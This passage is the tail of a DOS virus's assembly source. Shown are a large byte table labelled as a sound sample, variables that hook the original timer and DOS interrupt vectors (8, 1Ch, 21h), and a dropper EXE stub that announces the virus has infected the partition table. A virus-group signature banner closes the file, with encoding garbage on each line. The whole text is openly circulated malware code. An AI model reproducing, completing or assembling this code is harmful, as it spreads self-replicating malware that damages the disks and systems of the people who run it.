db 039h , 09eh , 03ch , 0e6h , 038h , 003h , 09ch , 063h , 00eh , 079h , 087h , 00dh , 0c7h , 00ch , 007h , 08eh
db 018h , 00fh , 09eh , 006h , 01fh , 01fh , 00ch , 03eh , 03eh , 006h , 03ch , 01ch , 01ch , 07eh , 03ch , 038h
db 03eh , 038h , 07ch , 07ch , 060h , 070h , 079h , 081h , 0e0h , 0e2h , 063h , 0c1h , 0c1h , 0c3h , 087h , 0c7h
db 087h , 007h , 03fh , 00eh , 00ch , 0ceh , 03eh , 033h , 038h , 078h , 07ch , 0e0h , 0e0h , 0f9h , 0e3h , 083h
db 0f1h , 085h , 0cfh , 0e6h , 007h , 01fh , 098h , 01ch , 07eh , 020h , 070h , 0fch , 031h , 099h , 0d8h , 0c6h
db 067h , 063h , 01bh , 09dh , 08ch , 00eh , 07bh , 030h , 079h , 0e0h , 080h , 0fbh , 0cch , 003h , 0e7h , 030h
db 00fh , 09ch , 0c0h , 03eh , 033h , 000h , 0fch , 0ceh , 003h , 0f3h , 098h , 00dh , 0ceh , 060h , 037h , 039h
db 080h , 0dch , 0e7h , 001h , 073h , 09ch , 007h , 0ceh , 070h , 01fh , 01ch , 0c0h , 03eh , 073h , 000h , 0f1h
db 0cch , 001h , 0cfh , 038h , 006h , 03eh , 0e0h , 00ch , 0ffh , 098h , 043h , 0feh , 061h , 00fh , 0f9h , 084h
db 077h , 0f2h , 010h , 08fh , 0cch , 003h , 03fh , 091h , 000h , 07fh , 002h , 013h , 0fch , 0c8h , 047h , 0fbh
db 030h , 00ch , 0e6h , 00ch , 00dh , 0dch , 020h , 099h , 0b8h , 0cch , 013h , 0e3h , 038h , 08dh , 08ch , 0e1h
db 099h , 03bh , 0d8h , 099h , 0bfh , 0ech , 0c4h , 07fh , 09ch , 0c8h , 0ceh , 07eh , 004h , 02fh , 0f9h , 000h
db 027h , 0f7h , 020h , 01bh , 0ffh , 0c0h , 00eh , 0f7h , 060h , 011h , 0ffh , 0c0h , 006h , 0ffh , 080h , 001h
db 0feh , 0c4h , 066h , 0fch , 0d0h , 011h , 0ddh , 0c4h , 067h , 027h , 033h , 0fch , 0cch , 046h , 066h , 072h
db 000h , 0cfh , 0eeh , 0c0h , 00fh , 077h , 030h , 019h , 09fh , 0e0h , 000h , 0dfh , 0d8h , 011h , 01ch , 0cch
db 0cch , 046h , 067h , 073h , 011h , 099h , 09ch , 0cch , 0e6h , 062h , 033h , 03bh , 011h , 08dh , 0feh , 0c4h
db 003h , 07fh , 0b9h , 080h , 08ch , 0f6h , 062h , 000h , 03dh , 0dch , 000h , 007h , 0fbh , 010h , 019h , 0bfh
db 0e2h , 046h , 007h , 033h , 0b1h , 008h , 06eh , 063h , 031h , 09fh , 0f0h , 000h , 067h , 073h , 011h , 099h
db 0cfh , 033h , 030h , 030h , 0d9h , 098h , 080h , 03fh , 0fch , 000h , 04fh , 0efh , 073h , 030h , 018h , 07fh
db 0fch , 000h , 019h , 0feh , 000h , 037h , 0ffh , 080h , 000h , 037h , 08eh , 0f9h , 000h , 003h , 0ffh , 080h
db 006h , 0ffh , 0f0h , 000h , 01eh , 0f1h , 0dbh , 080h , 000h , 037h , 0f0h , 000h , 027h , 0f3h , 040h , 04eh
db 0e7h , 000h , 04fh , 0c6h , 000h , 0dfh , 0ceh , 080h , 09dh , 0cch , 001h , 09fh , 0c4h , 000h , 09fh , 0fch
db 001h , 09fh , 080h , 000h , 0bfh , 0c8h , 080h , 09dh , 0cch , 080h , 0ceh , 0e4h , 040h , 04eh , 0ffh , 022h
db 027h , 072h , 010h , 013h , 0bbh , 098h , 00dh , 0dch , 084h , 002h , 077h , 062h , 001h , 0bbh , 0b0h , 080h
db 04eh , 0ech , 040h , 01bh , 0bbh , 010h , 006h , 0eeh , 042h , 000h , 09dh , 0d8h , 080h , 013h , 0bbh , 000h
db 002h , 077h , 062h , 004h , 06eh , 0e4h , 020h , 00ch , 0eeh , 0c0h , 000h , 0cch , 0ech , 000h , 00ch , 0eeh
db 0c0h , 000h , 06eh , 0f4h , 000h , 006h , 077h , 040h , 002h , 033h , 0feh , 080h , 018h , 0dfh , 0f0h , 000h
db 046h , 07fh , 0c0h , 023h , 01bh , 0f6h , 000h , 00ch , 0ffh , 0d8h , 010h , 031h , 07eh , 070h , 03ch , 00fh
db 0e0h , 0f8h , 01fh , 081h , 0f0h , 03eh , 007h , 0c0h , 0f0h , 03eh , 003h , 003h , 0f0h , 038h , 03fh , 003h
db 081h , 0f0h , 03ch , 01fh , 081h , 0c1h , 0f0h , 01ch , 00fh , 081h , 0e0h , 0f8h , 01eh , 00fh , 080h , 0e0h
db 07fh , 07fh , 0ffh , 0ffh , 0ffh , 0ffh , 0ffh , 0feh , 06ch , 092h , 0d9h , 0a6h , 0c6h , 082h , 0c8h , 032h
db 049h , 000h , 083h , 07fh , 0b0h , 000h , 016h , 0ffh , 0a0h , 000h , 05fh , 0fdh , 080h , 042h , 0bfh , 0f0h
db 082h , 009h , 02dh , 010h , 080h , 099h , 06bh , 040h , 006h , 0cah , 0a0h , 000h , 0bdh , 0b4h , 000h , 050h
db 0b4h , 001h , 0d1h , 0a4h , 081h , 0d3h , 046h , 096h , 0d6h , 0a2h , 049h , 0dbh , 040h , 0b7h , 0f4h , 083h
db 06dh , 0e9h , 026h , 0f1h , 0f2h , 027h , 0f3h , 0a4h , 0b7h , 063h , 060h , 01fh , 0c7h , 0f1h , 036h , 0cfh
db 0b0h , 03eh , 00dh , 0b0h , 07eh , 00bh , 0d0h , 07bh , 01bh , 0c0h , 07ch , 01bh , 064h , 06ch , 01fh , 024h
db 064h , 00dh , 036h , 066h , 04dh , 093h , 023h , 06dh , 01bh , 003h , 02dh , 09dh , 007h , 085h , 09dh , 087h
db 0c4h , 08eh , 087h , 0c4h , 0c6h , 0c3h , 0c4h , 0c7h , 043h , 066h , 043h , 003h , 0e6h , 043h , 081h , 0b2h
db 065h , 081h , 0b2h , 061h , 081h , 0b3h , 063h , 081h , 0d3h , 033h , 0c1h , 0f1h , 031h , 091h , 0b1h , 033h
db 0b1h , 0f1h , 033h , 0a1h , 0e1h , 023h , 021h , 0e1h , 023h , 063h , 063h , 066h , 066h , 0e3h , 066h , 0e4h
db 0c7h , 04dh , 0cdh , 08fh , 013h , 05bh , 09eh , 066h , 064h , 0ech , 0cch , 0c9h , 0ddh , 099h , 091h , 0bbh
db 017h , 04fh , 0d8h , 02eh , 00fh , 032h , 07eh , 01eh , 068h , 0f8h , 079h , 091h , 0f0h , 0f7h , 046h , 0c5h
db 0deh , 09fh , 09fh , 0edh , 07ch , 02fh , 0b3h , 034h , 05eh , 04ch , 099h , 0b9h , 0bbh , 032h , 0cah , 0cch
db 0dbh , 009h , 013h , 00dh , 034h , 02eh , 064h , 0d8h , 0b9h , 0a1h , 023h , 064h , 08ch , 08dh , 092h , 032h
db 03ch , 0c8h , 0c8h , 0fah , 037h , 023h , 0d0h , 09ch , 00eh , 0c2h , 0f0h , 066h , 04bh , 0c1h , 0d9h , 01bh
db 026h , 064h , 0cch , 09bh , 007h , 033h , 06ch , 01ch , 099h , 0e0h , 072h , 065h , 083h , 089h , 01dh , 00eh
db 024h , 064h , 078h , 0b1h , 091h , 0e6h , 0cch , 08fh , 012h , 032h , 038h , 049h , 090h , 0f3h , 066h , 047h
db 08dh , 019h , 01eh , 034h , 04ch , 0d9h , 0b3h , 033h , 0e6h , 0cch , 0c9h , 019h , 062h , 06ch , 06dh , 099h
db 0b1h , 0b6h , 066h , 0c6h , 0f8h , 09bh , 01dh , 0c8h , 0fch , 033h , 033h , 0b1h , 0ech , 0cdh , 0cdh , 099h
db 03ah , 037h , 064h , 0e8h , 0e7h , 083h , 0c1h , 0cfh , 007h , 087h , 0ddh , 01fh , 00fh , 032h , 03eh , 01eh
db 074h , 07ch , 07ch , 0e0h , 0f8h , 0f9h , 0c1h , 0f9h , 077h , 043h , 0e9h , 0fbh , 083h , 0e0h , 0e5h , 087h
db 082h , 099h , 00fh , 016h , 073h , 023h , 001h , 0f1h , 013h , 002h , 032h , 006h , 002h , 0f2h , 066h , 0c0h
db 0e2h , 062h , 046h , 066h , 00eh , 00ch , 0e6h , 026h , 040h , 0e4h , 07ch , 000h , 0e2h , 06ch , 001h , 0c2h
db 022h , 062h , 0e6h , 00ch , 040h , 036h , 01eh , 002h , 0e2h , 036h , 020h , 0f2h , 03ch , 038h , 0f3h , 036h
db 060h , 0d3h , 013h , 042h , 07bh , 01bh , 001h , 0f9h , 03fh , 02ch , 0f9h , 01bh , 0b0h , 079h , 091h , 0b1h
db 0f9h , 01fh , 083h , 0f9h , 09fh , 003h , 0fdh , 09dh , 09bh , 0bch , 0ddh , 0dbh , 0fch , 0ddh , 09bh , 0fch
db 0ech , 069h , 0fch , 0dch , 0fdh , 09ch , 0cch , 0f9h , 03eh , 06ch , 0bch , 0bch , 02eh , 024h , 0feh , 066h
db 034h , 0deh , 026h , 036h , 01eh , 066h , 066h , 04eh , 066h , 02eh , 04fh , 017h , 01fh , 027h , 033h , 01fh
db 00fh , 09bh , 01ah , 04fh , 099h , 039h , 027h , 088h , 0d8h , 037h , 098h , 083h , 007h , 0cch , 018h , 012h
db 04ch , 01ch , 006h , 0a4h , 036h , 00eh , 054h , 01eh , 01fh , 01eh , 00eh , 007h , 09eh , 00eh , 04eh , 0ceh
db 00fh , 007h , 087h , 007h , 087h , 08fh , 007h , 003h , 047h , 007h , 083h , 0c3h , 003h , 083h , 0e3h , 081h
db 081h , 0c3h , 0a3h , 0e1h , 0e3h , 0c1h , 0f1h , 0f1h , 0c0h , 0e0h , 0f9h , 0c0h , 0f0h , 070h , 0f0h , 0f8h
db 0f8h , 0f0h , 0f8h , 07ch , 0c0h , 0d8h , 018h , 01ch , 01ch , 06ch , 0fch , 03fh , 025h , 0cch , 04ch , 00ch
db 0ceh , 06eh , 03ch , 0e2h , 0e3h , 0e3h , 0e7h , 0c7h , 08ch , 073h , 032h , 074h , 0f0h , 0f1h , 0b2h , 070h
db 0f2h , 078h , 078h , 078h , 078h , 078h , 078h , 038h , 038h , 03ch , 03eh , 01ch , 03ch , 01eh , 01ch , 01ch
db 01eh , 01fh , 01eh , 00fh , 00eh , 00eh , 00fh , 08fh , 00fh , 007h , 087h , 087h , 043h , 083h , 0c3h , 0c3h
db 0c3h , 0c3h , 0c3h , 0c3h , 0c3h , 0c1h , 0e1h , 0c3h , 0e0h , 0f0h , 0e0h , 0e0h , 0f0h , 0f0h , 0e0h , 0f0h
db 070h , 0f0h , 0f8h , 078h , 070h , 078h , 070h , 070h , 03ch , 03ch , 038h , 03ch , 03ch , 01ch , 03ch , 03ch
db 01ch , 01eh , 01ch , 09ch , 01eh , 01ch , 01eh , 01fh , 01ch , 00eh , 01fh , 01ch , 00fh , 01fh , 01eh , 00fh
db 00fh , 09fh , 007h , 00fh , 0c7h , 007h , 00fh , 087h , 017h , 087h , 087h , 087h , 0c7h , 093h , 087h , 0c3h
db 0d3h , 083h , 0c3h , 0d1h , 0c3h , 0e1h , 0f9h , 0c3h , 0e1h , 0e8h , 0c7h , 0e0h , 0f8h , 0e3h , 0f8h , 0f6h
db 0e3h , 0e8h , 07eh , 0e3h , 0e8h , 07eh , 063h , 0e4h , 0f9h , 0e3h , 0e2h , 0dbh , 0e1h , 0e1h , 0c8h , 0e0h
db 070h , 0cdh , 0f0h , 0f0h , 0cch , 0f1h , 0f8h , 0c1h , 0f0h , 0f0h , 0f1h , 038h , 038h , 073h , 038h , 03ch
db 073h , 038h , 03ch , 038h , 01ch , 01eh , 03ah , 01eh , 01eh , 03ch , 08eh , 01eh , 01ch , 08eh , 00fh , 01fh
db 08eh , 00fh , 01fh , 00eh , 00fh , 01eh , 006h , 007h , 00eh , 007h , 04eh , 049h , 0e2h , 036h , 00dh , 0e6h
db 028h , 0c1h , 0f3h , 006h , 004h , 0b3h , 007h , 001h , 0a9h , 00fh , 083h , 095h , 007h , 087h , 0c7h , 083h
db 081h , 0e7h , 083h , 093h , 0b3h , 083h , 0c1h , 0e1h , 0c1h , 0e1h , 0e3h , 0c1h , 0c0h , 0d1h , 0c1h , 0e0h
db 0f0h , 0c0h , 0e0h , 0f8h , 0e0h , 060h , 070h , 0e8h , 0f8h , 078h , 0f0h , 07ch , 07ch , 070h , 038h , 03eh
db 070h , 03ch , 01ch , 03ch , 03eh , 03eh , 03ch , 03eh , 01fh , 030h , 036h , 006h , 007h , 007h , 01bh , 03fh
db 00fh , 0c9h , 073h , 013h , 003h , 0b3h , 09bh , 08fh , 038h , 0bch , 0f8h , 0f9h , 0f1h , 0e3h , 01ch , 0cch
db 09dh , 03ch , 03ch , 06ch , 09ch , 03ch , 09eh , 01eh , 01eh , 01eh , 01eh , 01eh , 00eh , 00eh , 00fh , 00fh
db 087h , 00fh , 007h , 087h , 007h , 007h , 087h , 0c7h , 083h , 0c3h , 083h , 083h , 0e3h , 0c3h , 0c1h , 0e1h
db 0f1h , 0d1h , 0e0h , 0f0h , 0f0h , 0f0h , 0f0h , 0f0h , 0f0h , 0f0h , 0f0h , 078h , 070h , 0f8h , 03ch , 038h
db 038h , 03ch , 03ch , 038h , 03ch , 01ch , 03ch , 03eh , 01eh , 01ch , 03eh , 01ch , 01ch , 00fh , 00fh , 00eh
db 00fh , 00fh , 007h , 00fh , 00fh , 007h , 007h , 087h , 027h , 007h , 087h , 007h , 087h , 0c7h , 003h , 087h
db 0c7h , 003h , 0c7h , 0c7h , 083h , 0c3h , 0e7h , 0c1h , 0c3h , 0f1h , 0c1h , 0c3h , 0e1h , 0c5h , 0e1h , 0e1h
db 0e1h , 0f1h , 0ech , 0e1h , 0f0h , 0f4h , 0e0h , 0f0h , 0f4h , 070h , 0f8h , 07eh , 070h , 0f8h , 07ah , 031h
db 0f8h , 03eh , 038h , 0feh , 03dh , 0b8h , 0fah , 01fh , 0b8h , 0fah , 01fh , 098h , 0f9h , 03eh , 078h , 0f8h
db 0b6h , 0f8h , 0f8h , 072h , 038h , 01ch , 033h , 07ch , 03ch , 033h , 03ch , 07eh , 038h , 07ch , 03eh , 03ch
db 04eh , 00eh , 01ch , 0ceh , 00fh , 01ch , 0ceh , 00fh , 00eh , 007h , 007h , 08eh , 087h , 087h , 08fh , 063h
db 087h , 087h , 023h , 083h , 0c7h , 0e3h , 083h , 0c7h , 0c3h , 083h , 0c7h , 081h , 081h , 0c0h , 0f9h , 09bh
db 093h , 079h , 08dh , 083h , 079h , 08bh , 030h , 07ch , 0c9h , 0c3h , 02ch , 0c1h , 0c0h , 07ah , 043h , 0e0h
db 0e5h , 041h , 0e1h , 0f1h , 0e0h , 0e0h , 0f9h , 0e0h , 0e4h , 0ech , 0e0h , 0f0h , 078h , 070h , 078h , 078h
db 0f0h , 070h , 034h , 070h , 078h , 03ch , 030h , 038h , 03eh ; ,038h
SampleEnd equ this byte
;------------------------------------------------------------------------------
;
; Variables
;
;------------------------------------------------------------------------------
Active db - 1
ActiveYear dw - 1
ActiveDate dw - 1
OldInt8 equ this dword ; orginal interrupt 8
OldInt8o dw - 1
OldInt8s dw - 1
OldInt1C equ this dword ; orginal interrupt 1ch
OldInt1Co dw - 1
OldInt1Cs dw - 1
OldInt21 equ this dword ; orginal interrupt 21h
OldInt21o dw - 1
OldInt21s dw - 1
Count dw - 1 ; timer count
SampleOffset dw - 1 ; Used to make sound
SampleBit db - 1
SampleFlag db - 1
Handle dw 8 dup ( - 1 ) ; Filehandles
cseg ends
;------------------------------------------------------------------------------
;
; Orginal EXE-file
;
;------------------------------------------------------------------------------
mseg seg ment public 'code'
assume cs : mseg , ds : mseg , es : mseg
db 'MZ' ; header
dw PrgSize ; PartPage
dw 1 ; PageCount
dw 0 ; relocation items = 0
dw 0 ; headersize = 0h
dw 80h ; minimum memory
dw 0ffffh ; maximum memory
dw ( PrgSize + 15 ) / 10h ; ss
dw 7feh ; sp
dw 0 ; chksum
dw offset Orginal ; ip
dw 0 ; cs
dw 1ch ; offset relocation table
dw 0 ; overlay number
Orginal: mov ah , 9 ; display warning
push cs
pop ds
mov dx , offset Warning
int 21h
mov ax , 4c00h
int 21h ; terminate
Warning db 13 , 10
db 'WARNING:' , 13 , 10
db 13 , 10
db 'Yeah virus has now infected the partition table !!!!!' , 13 , 10
db 13 , 10
db '$'
mseg ends
sseg seg ment stack 'stack'
db 800h dup ( ? )
sseg ends
end Main
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>